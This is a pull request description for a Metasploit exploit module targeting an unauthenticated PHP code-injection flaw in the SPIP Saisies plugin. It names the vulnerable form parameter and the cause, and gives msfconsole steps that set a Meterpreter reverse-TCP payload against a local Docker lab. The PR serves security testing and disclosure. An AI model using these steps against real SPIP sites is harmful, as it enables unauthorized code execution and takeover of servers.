Add SPIP Saisies plugin RCE module (CVE-2025-71243)

[Chocapikk]

Hello Metasploit Team,

This PR adds an exploit module for CVE-2025-71243, an unauthenticated PHP code injection in the SPIP Saisies plugin (versions 5.4.0 through 5.11.0).

Blog post with full technical details: https://github.com/Chocapikk/CVE-2025-71243

Module

exploit/multi/http/spip_saisies_rce (CVE-2025-71243)

Unauthenticated RCE via the _anciennes_valeurs form parameter. The saisies plugin interpolates raw user input into a hidden field rendered with interdire_scripts=false, allowing injected <?php ?> tags to be executed directly by PHP's template eval. Single POST request to any page containing a saisies-powered form.

Since saisies forms are custom (typically created with the Formidable plugin), the module supports two modes:

• Direct: set FORM_PAGE to a known page name (e.g. contact)
• Crawl: set FORM_PAGE to crawl (default) to auto-discover a form by fetching the SPIP sitemap and following internal links

Mixin Enhancement

Added a paquet.xml fallback to Msf::Exploit::Remote::HTTP::Spip#spip_plugin_version. When the Composed-By header and local/config.txt are unavailable, the mixin now tries plugins/<name>/paquet.xml and plugins/auto/<name>/paquet.xml directly. This benefits all SPIP modules that use plugin version detection.

Targets

• PHP In-Memory
• Unix/Linux Command Shell
• Windows Command Shell

Verification

Docker Lab Setup

mkdir spip-lab && cd spip-lab

See the module documentation for full docker-compose.yml and setup.sh. SPIP will be available at http://127.0.0.1:8888 with the vulnerable saisies 5.11.0 plugin and a contact form.

Testing

• Start msfconsole
• use exploit/multi/http/spip_saisies_rce
• set RHOSTS 127.0.0.1
• set RPORT 8888
• set PAYLOAD php/meterpreter/reverse_tcp
• set LHOST <your-ip>
• check - Verify it returns Appears (saisies 5.11.0 detected via paquet.xml)
• set FORM_PAGE contact then run - Verify a Meterpreter session opens
• set FORM_PAGE crawl then run - Verify the crawler finds the form and a session opens

Documentation

• Document spip_saisies_rce.md